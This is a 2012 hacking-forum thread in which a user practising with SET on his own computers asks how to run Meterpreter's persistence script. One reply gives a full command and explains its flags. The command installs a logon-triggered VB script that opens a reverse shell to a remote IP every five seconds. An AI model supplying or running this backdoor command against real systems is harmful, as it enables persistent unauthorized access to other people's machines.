Author Topic: BT5 - Meterpreter - Persistance help  (Read 1617 times)

0 Members and 1 Guest are viewing this topic.

Offline powerkickeR

  • /dev/null
  • *
  • Posts: 19
  • Cookies: 0
    • View Profile
BT5 - Meterpreter - Persistance help
« on: March 01, 2012, 01:47:09 am »
Well, I've been practicing compromising my own computers with the SET. I've been using the Java applet attack, or using the infectious media generator, which makes an autorun and a server(sort to speak) file. Once I have access to my own system and spawned a meterpreter shell, how can I run the persistance module? I type in
 
 "run persistance -h"
 
 and in return I get "The specified script could not be found: persistance"
 
 I'm trying to set up a back door so I can have access to it later, can anyone help me here?


Offline Hot_Chip

  • /dev/null
  • *
  • Posts: 7
  • Cookies: 0
    • View Profile
Re: BT5 - Meterpreter - Persistance help
« Reply #1 on: March 04, 2012, 08:01:40 am »
some times you have to migrate to a new service because you brake stuff...

what you should do is
Code: [Select]
meterpreter > run persistence -U -i 5 -p 443 -r 192.168.0.112
-U = automatically starts a module when the user logs in.
 -i = interval between each connection to the remote IP address configured.
 -p = port to reach on the remote IP address for Metasploit connection, i.e. the persistence process on the target system will try to connect to 192.168.0.112 on port 443 every 5 seconds.
 -r = reachable remote IP address to have handler shell.

what this does is adds a VB script to auto run at user start up.
You like exploiting, I just hack shit. You like to jack off, but I don't do it.

Offline Stackprotector

  • Administrator
  • Titan
  • *
  • Posts: 2515
  • Cookies: 205
    • View Profile
Re: BT5 - Meterpreter - Persistance help
« Reply #2 on: March 04, 2012, 12:00:34 pm »
Did you load the module? :P
~Factionwars